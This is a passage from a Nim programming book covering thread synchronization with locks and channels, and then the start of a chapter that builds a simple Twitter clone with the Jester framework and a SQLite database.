Thread #2 does nothing until thread #1 is finished. After thread #1 is finished, thread #2 performs its work and thread #1 does nothing. Both threads end up setting counter to 1. Two increment operations end up incrementing only by 1. Both threads set their local value variable to 0. The result is correct. Thread #1 sets its local value variable to 0. Thread #2 sets it to 1 after counter was updated by thread #1. Figure 6.5 Synchronized and unsynchronized execution of listing 6.21 Imports the locks module, which defines the Lock type and associated procedures Defines a new counterLock of type Lock Initializes the counterLock lock using the initLock procedure Uses the {.guard.} pragma to ensure that the counter variable is protected by the counterLock lock Licensed to <null> 176 CHAPTER 6 Parallelism spawn increment(10_000) spawn increment(10_000) sync() echo(counter) Save listing 6.22 as unguarded_access.nim, and then compile it. The compilation should fail with “unguarded_access.nim(9, 17) Error: unguarded access: counter.” This is because the counter variable is protected by the guard, which ensures that any access to counter must occur after the counterLock lock is locked. Let’s fix this error by locking the counterLock lock. import threadpool, locks var counterLock: Lock initLock(counterLock) var counter {.guard: counterLock.} = 0 proc increment(x: int) = for i in 0 .. <x: withLock counterLock: var value = counter value.inc counter = value spawn increment(10_000) spawn increment(10_000) sync() echo(counter) Save the code in listing 6.23 as parallel_incrementer.nim, and then compile and run it. The file should compile successfully and its output should always be 20000, which means that the race condition is fixed! The fact that the compiler verifies that every guarded variable is locked properly ensures the safe execution of the code. It also helps prevent bugs from appearing accidentally in the future, when new code is added or existing code is changed. 6.5.2 Using channels so threads can send and receive messages Despite all Nim’s efforts to make locks as safe as possible, they may not always be the safest choice. And for some use cases, they may simply be inappropriate, such as when threads share very few resources. Channels offer an alternative form of synchroniza- tion that allows threads to send and receive messages between each other. A channel is an implementation of a queue—a first-in-first-out (FIFO) data struc- ture. This means that the first value to be added to the channel will be the first one to be removed. The best way to visualize such a data structure is to imagine yourself queuing for food at a cafeteria. The first person to queue is also the first person to get their food. Figure 6.6 shows a representation of a FIFO channel. Listing 6.23 Incrementing a global variable with a lock The code that accesses the counter variable is now inside a withLock section. This locks the lock and ensures that it’s unlocked after the code under the withLock body ends. Licensed to <null> 177 Dealing with race conditions Nim implements channels in the channels module of the standard library. This mod- ule is part of system, so it doesn’t need to be explicitly imported. A channel is created as a global variable, allowing every thread to send and receive messages through it. Once a channel is defined, it must be initialized using the open procedure. Listing 6.24 defines and initializes a new chan variable of type Channel [string]. You can specify any type inside the square brackets, including your own cus- tom types. var chan: Channel[string] open(chan) Values can be sent using the send procedure and received using the recv procedure. The following listing shows how to use both procedures. import os, threadpool var chan: Channel[string] open(chan) proc sayHello() = sleep(1000) chan.send("Hello!") spawn sayHello() doAssert chan.recv() == "Hello!" The recv procedure will block until a message is received. You can use the tryRecv procedure to get nonblocking behavior; it returns a tuple consisting of a Boolean, which indicates whether or not data was received, and the actual data. To give you a better idea of how channels work, let’s implement listing 6.23 with channels instead of locks. The following listing shows parallel_incrementer.nim implemented using channels. Listing 6.24 Initializing a channel using open Listing 6.25 Sending and receiving data through a channel send recv Figure 6.6 Representation of a FIFO channel The os module defines the sleep procedure. The threadpool module is needed for spawn. The sayHello procedure will sleep its thread for 1 second before sending a message through chan. Executes the sayHello procedure in another thread Blocks the main thread until a "Hello!" is received Licensed to <null> 178 CHAPTER 6 Parallelism import threadpool var resultChan: Channel[int] open(resultChan) proc increment(x: int) = var counter = 0 for i in 0 .. <x: counter.inc resultChan.send(counter) spawn increment(10_000) spawn increment(10_000) sync() var total = 0 for i in 0 .. <resultChan.peek: total.inc resultChan.recv() echo(total) The global counter variable is replaced by a global resultChan channel. The increment procedure increments a local counter variable x times, and then it sends counter’s value through the channel. This is done in two different threads. The main thread waits for the two threads to finish, at which point it reads the messages that have been sent to the resultChan. Figure 6.7 shows the execution of listing 6.26. Listing 6.26 parallel_incrementer.nim implemented using channels Defines a new global Channel[int] variable Initializes the channel so that messages can be sent through it This time the counter variable is local to the increment procedure. Once the counter calculation finishes, its value is sent through the channel. Waits for both of the threads to finish The peek procedure returns the number of messages waiting to be read inside the channel. Reads one of the messages and increments the total by the message’s value Main thread increment thread #1 increment thread #2 sync() counter.inc counter.inc ... counter.inc 1 2 10,000 counter.inc counter.inc ... counter.inc 1 2 10,000 send(counter) send(counter) 10,000 10,000 recv() recv() After the messages are received, they are added up and displayed Figure 6.7 Execution of listing 6.26 Licensed to <null> 179 Summary 6.6 Summary  The apparent execution of processes at the same time is called concurrency, whereas true simultaneous execution of processes is called parallelism.  Each thread in Nim has a separate heap that’s managed by a separate garbage collector.  Threads can be created using the createThread procedure defined in the threads module.  A procedure can be added to a thread pool using the spawn procedure defined in the threadpool module.  GC safety, which is enforced by the compiler, ensures that garbage-collected data isn’t shared between threads.  Data parsing can be performed using regular expressions, the split proce- dure, or the parseutils module.  Threads can be used to parallelize a parser.  Locks or channels can be used to synchronize the execution of threads to pre- vent race conditions. Licensed to <null> 180 Building a Twitter clone Web applications have become extremely popular in recent years because of their convenience and the widespread use of web browsers. Many people have taken advantage of this to become millionaires, developing the likes of Twitter, Facebook, and Google. Large web applications consisting of many components are typically written in several different programming languages, chosen to match the requirements of the components. In most cases, the core infrastructure is written in a single language, with a few small specialized components being written in one or two different pro- gramming languages. YouTube, for example, uses C, C++, Java, and Python for its many different components, but the core infrastructure is written in Python. This chapter covers  Developing a Twitter clone in Nim  Storing and querying for data in a SQL database  Generating HTML and sending it to the user’s browser  Deploying your web application Licensed to <null> 181 Architecture of a web application Thanks to the great speed of development that Python provides, YouTube was able to evolve by quickly responding to changes and implementing new ideas rapidly. In specialized cases, C extensions were used to achieve greater performance. Smaller web applications are typically written in a single programming language. The choice of language differs, but it’s typically a scripting language like Python, Ruby, or PHP. These languages are favored for their expressive and interpreted char- acteristics, which allow web applications to be iterated on quickly. Unfortunately, applications written in those languages are typically slow, which has resulted in problems for some major websites. For example, Twitter, which was initially written in Ruby, has recently moved to Scala because Ruby was too slow to handle the high volume of tweets posted by users every day. Websites can also be written in languages such as C++, Java, and C#, which are com- piled. These languages produce very fast applications, but developing in them is not as fast as in Python or other scripting languages. This is likely due to the slow compile times in those languages, which means that you must spend more time waiting to test your application after you’ve made changes to it. Those languages are also not as expressive as Python or other scripting languages. Nim is a hybrid. It’s a compiled language that takes inspiration from scripting lan- guages. In many ways, it’s as expressive as any scripting language and as fast as any compiled language. Compilation times in Nim are also very fast, which makes Nim a good language for developing efficient web applications. This chapter will lead you through the development of a web application. Specifi- cally, it will show you how to develop a web app that’s very similar to Twitter. Of course, developing a full Twitter clone would take far too much time and effort. The version developed in this chapter will be significantly simplified. You’ll need some knowledge of SQL for this chapter. Specifically, you’ll need to understand the structure and semantics of common SQL statements, including CREATE TABLE and SELECT. 7.1 Architecture of a web application Developers make use of many different architectural patterns when designing a web application. Many web frameworks are based on the very popular model-view-control- ler (MVC) pattern and its variants. One example of an MVC framework is Ruby on Rails. MVC is an architectural pattern that has been traditionally used for graphical user interfaces (GUIs) on the desktop. But this pattern also turned out to be very good for web applications that incorporate a user-facing interface. The MVC pattern is com- posed of three distinct components that are independent of each other: the model, which acts as a data store; the view, which presents data to the user; and the controller, which gives the user the ability to control the application. Figure 7.1 shows how the three different components communicate. Consider a simple calculator application consisting of a number of buttons and a display. In this case, the model would be a simple database that stores the numbers that Licensed to <null> 182 CHAPTER 7 Building a Twitter clone have been typed into the calculator, the view would be the display that shows the result of the current calculation, and the controller would detect any button presses and con- trol the view and model accordingly. Figure 7.2 shows a simple graphical calculator with the different components labeled. It’s a good idea to design web applications using the MVC pattern, especially when writing very large applications. This pattern ensures that your code doesn’t mix data- base code, HTML generation code, and logic code together, leading to easier mainte- nance for large web applications. Depending on the use case, variations on this pattern can also be used, separating code more or less strictly. Stricter separation would mean separating the web application into more components than just the model, view, and controller, or separating it into further subgroups derived from the model, view, or controller. When you design the architecture of a web application, you may already naturally separate your code into logical independent units. Doing so can achieve the same benefits as using the MVC pattern, with the additional benefit of making your code- base more specific to the problem you’re solving. It isn’t always necessary to abide by Model View Controller Updates Manipulates User Uses Displays data to Nim Ruby Figure 7.1 The three different components in the MVC architec- ture and how they interact Model View Current Answer: 5000 Current Operation: Add Current Input: None Controller Operation Input Figure 7.2 The three different MVC components as seen on a calculator’s GUI Licensed to <null> 183 Architecture of a web application architectural patterns, and there are some web frameworks that are pattern agnostic. This type of framework is more suited for small web applications, or applications that don’t need to incorporate all the components of the MVC pattern. Sinatra is one example of a framework that doesn’t enforce the MVC pattern. It’s written in Ruby, just like Ruby on Rails, but it has been designed to be minimalistic. In comparison to Ruby on Rails, Sinatra is much lighter because it lacks much of the functionality that’s common in full-fledged web application frameworks:  Accounts, authentication, and authorization  Database abstraction layers  Input validation and sanitation  Templating engines This makes Sinatra very simple to work with, but it also means that Sinatra doesn’t sup- port as many features out of the box as Ruby on Rails does. Sinatra instead encourages developers to work on additional packages that implement the missing functionality. The term microframework is used to refer to minimalistic web application frame- works like Sinatra. Many microframeworks exist, some based on Sinatra and written in various programming languages. There’s even one written in Nim called Jester. Jester is a microframework heavily based on Sinatra. At the time of writing, it’s one of the most popular Nim web frameworks. We’ll use Jester to develop the web application in this chapter, as it’s easy to get started with and it’s the most mature of the Nim web frameworks. Jester is hosted on GitHub: https://github.com/dom96/ jester. Later on in this chapter, you’ll see how to install Jester using the Nimble pack- age manager, but first I’ll explain how a microframework like Jester can be used to write web applications. 7.1.1 Routing in microframeworks Full-fledged web frameworks usually require a big application structure to be created before you can begin developing the web application. Microframeworks, on the other hand, can be used immediately. All that’s needed is a simple definition of a route. The following listing shows a simple route definition in Jester. routes: get "/": resp "Hello World!" To better understand what a route is, let me first explain how your web browser retrieves web pages from web servers. Figure 7.3 shows an HTTP request to twitter .com. When you’re browsing the internet and you navigate to a website or web page, your web browser requests that page using a certain URL. For example, when navigat- ing to the front page of Twitter, your web browser first connects to twitter.com and Listing 7.1 A / route defined using Jester Licensed to <null> 184 CHAPTER 7 Building a Twitter clone then asks the Twitter server to send it the contents of the front page. The exchange occurs using the HTTP protocol and looks something like the following. GET / HTTP/1.1 Host: twitter.com Note the similarities between the information in listing 7.2 and listing 7.1. The two important pieces of information are the GET, which is a type of HTTP request, and the /, which is the path of the web page requested. The / path is a special path that refers to the front page. In a web application, the path is used to distinguish between different routes. This allows you to respond with different content depending on the page requested. Jester receives HTTP requests similar to the one in listing 7.2, and it checks the path and exe- cutes the appropriate route. Figure 7.4 shows this operation in action. An ordinary web application will define multiple routes, such as /register, /login, /search, and so on. The web application that you’ll develop will include similar routes. Some routes will perform certain actions, such as tweeting, whereas others will simply retrieve information. Listing 7.2 A simple HTTP GET request GET / HTTP/1.1 Host: twitter.com HTTP/1.1 200 OK <html>...</html> Twitter server Figure 7.3 An HTTP request to twitter.com Specifies three pieces of information: the type of HTTP request used, the path of the page requested, and the HTTP protocol version The HTTP request may include one or more headers. The Host header specifies the domain name that the web browser has connected to. An empty line is sent to ask the server for a response. GET / HTTP/1.1 routes: get "/": resp "Hello World!" HTTP/1.1 200 OK Hello World! routes: get "/": resp "Hello World!" Figure 7.4 HTTP requests and routing in Jester Licensed to <null> 185 Architecture of a web application 7.1.2 The architecture of Tweeter Tweeter is what we’ll call the simplified version of Twitter that you’ll develop in this chapter. Obviously, implementing all of Twitter’s features would take far too much time and effort. Instead, Tweeter will consist of the following features:  Posting messages up to 140 characters  Subscribing to another user’s posts, called following in Twitter and many other social media websites  Viewing the messages posted by users you’re following Some of Twitter’s features that won’t be implemented are  User authentication: the user will simply type in their username and log in with no registration required  Search, including hashtags  Retweeting, replying to messages, or liking messages That’s a pretty small set of features, but it should be more than enough to teach you the basics of web development in Nim. Through these features, you’ll learn several things:  How web application projects are structured  How to store data in a SQL database  How to use Nim’s templating language  How to use the Jester web framework  How the resulting application can be deployed on a server The architecture of Tweeter will roughly follow the MVC architectural pattern explained earlier. The following information will need to be stored in a database:  Posted messages, and the users who posted them  The username of each user  The names of the users that each user is following When you’re developing web applications, it’s useful to abstract database operations into a separate module. In Tweeter, this module will be called database and it will define procedures for reading from and writing to a database. This maps well onto the model component in the MVC architecture. HTML will need to be generated based on the data provided by the database mod- ule. You’ll create two separate views containing procedures to generate HTML: one for the front page and the other for the timelines of different users. For example, a ren- derMain procedure will generate an HTML page, and a renderUser procedure will generate a small bit of HTML representing a user. Licensed to <null> 186 CHAPTER 7 Building a Twitter clone Finally, the main source code file that includes the routes will act as the controller. It will receive HTTP requests from the web browser, and, based on those requests, it will perform the following actions:  Retrieve the appropriate data from the database  Build the HTML code based on that data  Send the generated HTML code back to the requesting web browser Figure 7.5 shows the process of developing these three components and their features. 7.2 Starting the project The previous section described how web applications in general are designed and spe- cifically how Tweeter will be designed, so you should have a reasonable idea of what you’ll be building in this chapter. This section describes the first steps in beginning the project, including the following:  Setting up Tweeter’s directory structure  Initializing a Nimble package  Building a simple Hello World Jester web application Just like in chapter 3, we’ll start by creating the directories and files necessary to hold the project. Create a new Tweeter directory in your preferred code directory, such as C:\code\Tweeter or ~/code/Tweeter. Then create a src directory inside that, and a Nim source code file named tweeter.nim inside the src directory. This directory struc- ture is shown in the following listing. Tweeter └── src └── tweeter.nim Listing 7.3 Tweeter’s directory structure database module post(message) follow(follower, user) create(user) View modules renderMain(html) renderUser(user) Controller Stores information about users, posts, and followers Transforms information from the database into HTML Sends HTML to browser via HTTP Renders HTML using views Controls database Figure 7.5 The components of Tweeter and how they’ll be developed Licensed to <null> 187 Starting the project The web framework that this project will use is Jester. This is an external dependency that will need to be downloaded in order for Tweeter to compile. It could be down- loaded manually, but that’s not necessary, because Jester is a Nimble package, which means that Nimble can download it for you. Chapter 5 showed you how to use Nimble, and in this chapter you’ll use Nimble during development. To do so, you’ll need to first create a .nimble file. You may recall that Nimble’s init command can be used to generate one quickly. To initialize a .nimble file in your project’s directory, follow these steps: 1 Open a new terminal window. 2 cd into your project directory by executing something like cd ~/code/Tweeter. Make sure you replace ~/code/Tweeter with the location of your project. 3 Execute nimble init. 4 Answer the prompts given by Nimble. You can use the default values for most of them by simply pressing Enter. If you’ve done everything correctly, your terminal window should look something like figure 7.6. Now, open the Tweeter.nimble file that was created by Nimble. It should look similar to the following. # Package version = "0.1.0" author = "Dominik Picheta" description = "A simple Twitter clone developed in Nim in Action." license = "MIT" # Dependencies requires "nim >= 0.13.1" Listing 7.4 The Tweeter.nimble file Figure 7.6 Successful initialization of a Nimble package Licensed to <null> 188 CHAPTER 7 Building a Twitter clone As you can see in the last line, in order for the Tweeter package to successfully com- pile, the Nim compiler’s version must be at least 0.13.1. The requires line specifies the dependency requirements of the Tweeter package. You’ll need to edit this line to introduce a requirement on the jester package. Simply edit the last line so that it reads requires "nim >= 0.13.1", "jester >= 0.0.1". Alternatively, you can add requires "jester >= 0.0.1" at the bottom of the Tweeter.nimble file. You’ll also need to add bin = @["tweeter"] to the Tweeter.nimble file to let Nim- ble know which files in your package need to be compiled. You should also instruct Nimble not to install any Nim source files, by adding skipExt = @["nim"] to the file. Your Tweeter.nimble file should now contain the following lines. # Package version = "0.1.0" author = "Dominik Picheta" description = "A simple Twitter clone developed in Nim in Action." license = "MIT" bin = @["tweeter"] skipExt = @["nim"] # Dependencies requires "nim >= 0.13.1", "jester >= 0.0.1" Now, open up tweeter.nim again, and write the following code in it. import asyncdispatch import jester routes: get "/": resp "Hello World!" runForever() Go back to your terminal and execute nimble c -r src/tweeter. Your terminal should show something like what you see in figure 7.7. Compiling your project using Nimble will ensure that all dependencies of your project are satisfied. If you haven’t previously installed the Jester package, Nimble will install it for you before compiling Tweeter. As you can see in figure 7.7, Jester lets you know in its own whimsical way about the URL that you can use to access your web application. Open a new tab in your favorite Listing 7.5 The final Tweeter.nimble file Listing 7.6 A simple Jester test This module defines the runForever procedure, which is used to run the event loop. Imports the Jester web framework These are part of the DSL defined by Jester. Starts the definition of the routes Defines a new route that will be executed when the / path is accessed using an HTTP GET request Responds with the text “Hello World!” Runs the asynchronous event loop forever Licensed to <null> 189 Storing data in a database web browser and navigate to the URL indicated by Jester, typically http://local- host:5000/. At that URL, you should see the “Hello World” message shown in figure 7.8. Your web application will continue running and responding to as many requests as you throw at it. You can terminate it by pressing Ctrl-C. With Nimble’s help, you were able to get started with Jester relatively quickly, and you now have a good starting point for developing Tweeter. Your next task will involve working on the database module. 7.3 Storing data in a database Tweeter will use a database module to implement the storage and querying of infor- mation related to the messages and users. This module will be designed in such a way that it can easily be extended to use a different database implementation later. Because Nim is still relatively young, it doesn’t support as many databases as some of the more popular programming languages such as C++ or Java. It does, however, sup- port many of the most popular ones, including Redis, which is a key-value database; Figure 7.7 The successful compilation and execution of tweeter Figure 7.8 “Hello World!” from Jester Licensed to <null> 190 CHAPTER 7 Building a Twitter clone MongoDB, which is a document-oriented database; MySQL, which is a relational data- base; and many more. If you’re familiar with databases, you’ll know that both Redis and MongoDB are what’s known as NoSQL databases. As the name suggests, these databases don’t sup- port SQL for making queries on the database. Instead, they implement their own lan- guage, which typically isn’t as mature or sophisticated as SQL. It’s likely that you have more experience with relational databases than any of the many different types of NoSQL databases, so you’ll be happy to hear that Nim supports three different SQL databases out of the box. MySQL, SQLite, and PostgreSQL are all supported via the db_mysql, db_sqlite, and db_postgres modules, respectively. Tweeter will need to store the following information in its database:  Messages posted by users with metadata including the user that posted the mes- sage and the time it was posted  Information about specific users, including their usernames and the names of users that they’re following All the databases I mentioned can be used to store this information. The choice of database depends on the requirements. Throughout this chapter, I use a SQL database for development, and specifically SQLite because it’s far easier to get started with than MySQL or PostgreSQL. MYSQL AND POSTGRESQL SUPPORT Both MySQL and PostgreSQL are sup- ported by Nim in the same way that SQLite is. Changing between different database backends is trivial. As far as code changes go, simply importing db_mysql or db_postgres instead of db_sqlite should be enough. 7.3.1 Setting up the types Let’s begin by setting up the types in the database module. First, you’ll need to create a new database.nim file in Tweeter’s src directory. You can then define types in that file. These types will be used to store information about specific messages and users. The next listing shows what those definitions look like. import times type User* = object username*: string following*: seq[string] Listing 7.7 The types that store a Tweeter message and user information Imports the times module, which defines the Time type needed in the definition of Message Begins a new type definition section Defines a new User value type Defines a string field named username in the User type Defines a sequence named following in the User type, which will hold a list of usernames that the user has followed Licensed to <null> 191 Storing data in a database Message* = object username*: string time*: Time msg*: string The User type will represent information about a single specific user, and the Message type will similarly represent information about a single specific message. To get a bet- ter idea of how messages will be represented, look at the sample Twitter message shown in figure 7.9. An instance of the Message type can be used to represent the data in that message, as shown in the next listing. var message = Message( username: "d0m96", time: parse("18:16 - 23 Feb 2016", "H:mm - d MMM yyyy").toTime, msg: "Hello to all Nim in Action readers!" ) Figure 7.9 doesn’t include information about the people I follow, but we can speculate and create an instance of the User type for it anyway. var user = User( username: "d0m96", following: @["nim_lang", "ManningBooks"] ) Listing 7.8 Representing the data in figure 7.9 using an instance of Message Listing 7.9 Representing a user using an instance of User Defines a string field named username in the Message type. This field will specify the unique name of the user who posted the message. Defines a new Message value type Defines a floating-point time field in the Message type. This field will store the time and date when the message was posted. Defines a string field named msg in the Message type. This field will store the message that was posted. Figure 7.9 A sample Twitter message The parse procedure is defined in the times module. It can parse a given time in the specified format and return a TimeInfo object that holds that time. Licensed to <null> 192 CHAPTER 7 Building a Twitter clone The database module needs to provide procedures that return such objects. Once those objects are returned, it’s simply a case of turning the information stored in those objects into HTML to be rendered by the web browser. 7.3.2 Setting up the database Before the procedures for querying and storing data can be created, the database schema needs to be created and a new database initialized with it. For the purposes of Tweeter, this is pretty simple. The User and Message types map pretty well to User and Message tables. All that you need to do is create those tables in your database. ORM You may be familiar with object-relational mapping libraries, which mostly automate the creation of tables based on objects. Unfortunately, Nim doesn’t yet have any mature ORM libraries that could be used. Feel free to play around with the libraries that have been released on Nimble. I’ll use SQLite for Tweeter’s database. It’s easy to get started with, as the full database can be embedded directly in your application’s executable. Other database software needs to be set up ahead of time and configured to run as a separate server. The creation of tables in the database is a one-off task that’s only performed when a fresh database instance needs to be created. Once the tables are created, the data- base can be filled with data and then queried. I’ll show you how to write a quick Nim script that will create the database and all the required tables. Create a new file called createDatabase.nim inside Tweeter’s src directory. The next listing shows the code that you should start off with. import db_sqlite var db = open("tweeter.db", "", "", "") db.close() The db_sqlite module’s API has been designed so that it’s compatible with the other database modules, including db_mysql and db_postgres. This way, you can simply change the imported module to use a different database. That’s also why the open pro- cedure in the db_sqlite module has three parameters that aren’t used. The code in listing 7.10 doesn’t do much except initialize a new SQLite database at the specified location, or open an existing one, if it exists. The open procedure returns a DbConn object that can then be used to talk to the database. The next step is creating the tables, and that requires some knowledge of SQL. Fig- ure 7.10 shows what the tables will look like after they’re created. Listing 7.10 Connecting to a SQLite database The open procedure creates a new database at the location specified. In this case, it will create a tweeter.db file in createDatabase’s working directory. Licensed to <null> 193 Storing data in a database The following listing shows how to create the tables that store the data contained in the User and Message objects. import db_sqlite var db = open("tweeter.db", "", "", "") db.exec(sql""" CREATE TABLE IF NOT EXISTS User( username text PRIMARY KEY1 ); """) db.exec(sql""" CREATE TABLE IF NOT EXISTS Following( follower text, followed_user text, PRIMARY KEY (follower, followed_user) FOREIGN KEY (follower) REFERENCES User(username), FOREIGN KEY (followed_user) REFERENCES User(username) ); """) Listing 7.11 Creating tables in a SQLite database 1 In some cases, it may be faster to use an integer as the primary key. This isn’t done here for simplicity. username PK follower PK,FK1 followed_user PK,FK2 username FK time msg Message User Following Figure 7.10 The database tables The sql procedure converts a string literal into a SqlQuery string that can then be passed to exec. Creates a new table, as long as the database doesn’t already contain it Specifies that the User table should contain a username field and that it should be a primary key1 Creates a new table, as long as the database doesn’t already contain it Contains the username of the follower Contains the username of the user that the follower is following Specifies that the follower and followed_user fields are, together, the primary key Creates a foreign-key constraint, ensuring that the data added to the database is correct Licensed to <null> 194 CHAPTER 7 Building a Twitter clone db.exec(sql""" CREATE TABLE IF NOT EXISTS Message( username text, time integer, msg text NOT NULL, FOREIGN KEY (username) REFERENCES User(username) ); """) echo("Database created successfully!") db.close() Whew. That’s a lot of SQL. Let me explain it in a bit more detail. Each exec line executes a separate piece of SQL, and an error is raised if that SQL isn’t executed successfully. Otherwise, a new SQL table is successfully created with the specified fields. After the code in listing 7.11 is finished executing, the resulting data- base will contain three different tables. The Following table is required because SQLite doesn’t support arrays. The table definitions contains many table constraints, which prevent invalid data from being stored in the database. For example, the FOREIGN KEY constraints present in the Following table ensure that the followed_user and follower fields contain usernames that are already stored in the User table. Save the code in listing 7.11 in your createDatabase.nim file, and then compile and run it by executing nimble c -r src/createDatabase. You should see a “Database cre- ated successfully!” message and a tweeter.db file in Tweeter’s directory. Your database has been created, and you’re now ready to start defining procedures for storing and retrieving data. 7.3.3 Storing and retrieving data The createDatabase.nim file is now finished, so you can switch back to the data- base.nim file. This section explains how you can begin adding data into the database and how to then get the data back out. Let’s start with storing data in the database. These three actions in Tweeter will trigger data to be added to the database: Contains the username of the user who posted the message Creates a new table, as long as the database doesn’t already contain it Contains the actual message text; a NOT NULL key constraint is also present to ensure that it’s not null Contains the time when the message was posted, stored as UNIX time, the number of seconds since 1970-01-01 00:00:00 UTC The sql procedure converts a string literal into a SqlQuery string that can then be passed to exec. Licensed to <null> 195 Storing data in a database  Posting a new message  Following a user  Creating an account The database module should define procedures for those three actions, as follows: proc post(message: Message) proc follow(follower: User, user: User) proc create(user: User) Each procedure corresponds to a single action. Figure 7.11 shows how the follow pro- cedure will modify the database. Each of those procedures simply needs to execute the appropriate SQL statements to store the desired data. And in order to do that, the procedures will need to take a DbConn object as a parameter. The DbConn object should be saved in a custom Data- base object so that it can be changed if required in the future. The following listing shows the definition of the Database type. import db_sqlite type Database* = ref object db: DbConn proc newDatabase*(filename = "tweeter.db"): Database = new result result.db = open(filename, "", "", "") Add the import statement, the type definition, and the corresponding constructor to the top of your database.nim file. After you do so, you’ll be ready to implement the post, follow, and create procedures. The following listing shows how they can be implemented. Listing 7.12 The Database type follow("d0m96", "ManningBooks") The Following table INSERT INTO Following VALUES ( "d0m96", "ManningBooks" ); followed_user followed_user follower follower Figure 7.11 Storing follow data in the database Licensed to <null> 196 CHAPTER 7 Building a Twitter clone proc post*(database: Database, message: Message) = if message.msg.len > 140:2 raise newException(ValueError, "Message has to be less than 140 characters.") database.db.exec(sql"INSERT INTO Message VALUES (?, ?, ?);", message.username, $message.time.toSeconds().int, message.msg) proc follow*(database: Database, follower: User, user: User) = database.db.exec(sql"INSERT INTO Following VALUES (?, ?);", follower.username, user.username) proc create*(database: Database, user: User) = database.db.exec(sql"INSERT INTO User VALUES (?);", user.username) The code in listing 7.13 is fairly straightforward, and the annotations explain the important parts of the code. These procedures should work perfectly well, but you should still test them. In order to do so, you’ll need a way to query for data. This gives us a good excuse to implement the procedures needed to get informa- tion from the database. As before, let’s think about the actions that will prompt the retrieval of data from the database. The primary way that the user will interact with Tweeter will be via its front page. Initially, the front page will ask the user for their username, and Tweeter will need to check whether that username has already been created. A procedure called findUser will be defined to check whether a username exists in the database. This procedure should return a new User object containing both the user’s username and a list of users being followed. If the username doesn’t exist, an account for it will be created, and the user will be logged in. At that point, the user will be shown a list of messages posted by the users that they follow. A procedure called findMessages will take a list of users and return the mes- sages that those users posted, in chronological order. Each of the messages shown to the user will contain a link to the profile of the user who posted it. Once the user clicks that link, they’ll be shown messages posted only by that user. The findMessages procedure will be flexible enough to be reused for this purpose. Listing 7.13 Implementing the post, follow, and create procedures 2 This won’t handle Unicode accurately, as len doesn’t return the number of Unicode characters in the string. You may wish to look at the unicode module to fix this. Inserts a row into the specified table. The question marks are replaced with the values passed in after the SQL statement. The exec procedure ensures that the values are escaped to prevent SQL injections. Verifies that the message length isn’t greater than 140 characters. If it is, raises an exception.2 The time, which has type Time, is converted into the number of seconds since the UNIX epoch by calling toSeconds. The float result is then converted into an int. Licensed to <null> 197 Storing data in a database Let’s define those two procedures. The following listing shows their definitions and implementations. import strutils proc findUser*(database: Database, username: string, user: var User): bool = let row = database.db.getRow( sql"SELECT username FROM User WHERE username = ?;", username) if row[0].len == 0: return false else: user.username = row[0] let following = database.db.getAllRows( sql"SELECT followed_user FROM Following WHERE follower = ?;", username) user.following = @[] for row in following: if row[0].len != 0: user.following.add(row[0]) return true proc findMessages*(database: Database, usernames: seq[string], limit = 10): seq[Message] = result = @[] if usernames.len == 0: return var whereClause = " WHERE " for i in 0 .. <usernames.len: whereClause.add("username = ? ") if i != <usernames.len: whereClause.add("or ") let messages = database.db.getAllRows( sql("SELECT username, time, msg FROM Message" & whereClause & "ORDER BY time DESC LIMIT " & $limit), usernames) for row in messages: result.add(Message(username: row[0], time: fromSeconds(row[1].parseInt), msg: row[2])) Listing 7.14 Implementing the findUser and findMessages procedures This procedure returns a Boolean that determines whether the user was found. The User object is saved in the user parameter. Finds a row with the specified username in the database False is returned when the database doesn’t contain the username specified. Finds the usernames of people that the user with the specified username is following Iterates through each row that specifies who the user is following, and adds each username to the list named following This procedure takes an optional limit parameter. Its default value is 10, and it specifies the number of messages that this procedure will return. Adds "username = ?" to the whereClause for each username specified in usernames. This ensures that the SQL query returns messages from each of the usernames specified. Asks the database to return a list of all the messages from usernames in chronological order, limited to the value of limit Iterates through each of the messages and adds them to the resultant sequence. The returned time integer, which is the number of seconds since the UNIX epoch, is converted into a Time object by the fromSeconds procedure. Initializes the seq[Message] so that items can be added to it Licensed to <null> 198 CHAPTER 7 Building a Twitter clone Add these procedures to your database.nim file. Make sure you also import the strutils module, which defines parseInt. These procedures are significantly more complicated than those implemented in listing 7.13. The findUser procedure makes a query to find the specified user, but it then also makes another query to find who the user is following. The findMessages procedure requires some string manipulation to build part of the SQL query because the number of usernames passed into this procedure can vary. Once the WHERE clause of the SQL query is built, the rest is fairly simple. The SQL query also contains two key- words: the ORDER BY keyword instructs SQLite to sort the resulting messages based on the time they were posted, and the LIMIT keyword ensures that only a certain number of messages are returned. 7.3.4 Testing the database The database module is now ready to be tested. Let’s write some simple unit tests to ensure that all the procedures in it are working correctly. You can start by creating a new directory called tests in Tweeter’s root directory. Then, create a new file called database_test.nim in the tests directory. Type import database into database_test.nim, and then try to compile it by executing nimble c tests/database_test.nim. The compilation will fail with “Error: cannot open 'database'.” This is due to the unfortunate fact that neither Nim nor Nimble has any way of finding the database module. This module is hidden away in your src directory, so it can’t be found. To get around this, you’ll need to create a new file called database_test.nim.cfg in the tests directory. Inside it, write --path:"../src". This will instruct the Nim com- piler to look for modules in the src directory when compiling the database_test module. Verify that the database_test.nim file now compiles. The test will need to create its own database instance so that it doesn’t overwrite Tweeter’s database instance. Unfortunately, the code for setting up the database is in the createDatabase module. You’re going to have to move the bulk of that code into the database module so that database_test can use it. The new createDatabase.nim file will be much smaller after you add the procedures shown in listing 7.15 to the database module. Listing 7.16 shows the new createDatabase.nim implementation. proc close*(database: Database) = database.db.close() proc setup*(database: Database) = database.db.exec(sql""" CREATE TABLE IF NOT EXISTS User( username text PRIMARY KEY ); """) database.db.exec(sql""" Listing 7.15 The setup and close procedures destined for database.nim The close procedure closes the database and returns any allocated resources to the OS. The setup procedure initializes the database with the User, Following, and Message tables. Licensed to <null> 199 Storing data in a database CREATE TABLE IF NOT EXISTS Following( follower text, followed_user text, PRIMARY KEY (follower, followed_user), FOREIGN KEY (follower) REFERENCES User(username), FOREIGN KEY (followed_user) REFERENCES User(username) ); """) database.db.exec(sql""" CREATE TABLE IF NOT EXISTS Message( username text, time integer, msg text NOT NULL, FOREIGN KEY (username) REFERENCES User(username) ); """) import database var db = newDatabase() db.setup() echo("Database created successfully!") db.close() Add the code in listing 7.15 to database.nim, and replace the contents of createData- base.nim with the code in listing 7.16. Now that this small reorganization of code is complete, you can start writing test code in the database_test.nim file. The following listing shows a simple test of the database module. import database import os, times when isMainModule: removeFile("tweeter_test.db") var db = newDatabase("tweeter_test.db") db.setup() db.create(User(username: "d0m96")) db.create(User(username: "nim_lang")) db.post(Message(username: "nim_lang", time: getTime() - 4.seconds, msg: "Hello Nim in Action readers")) 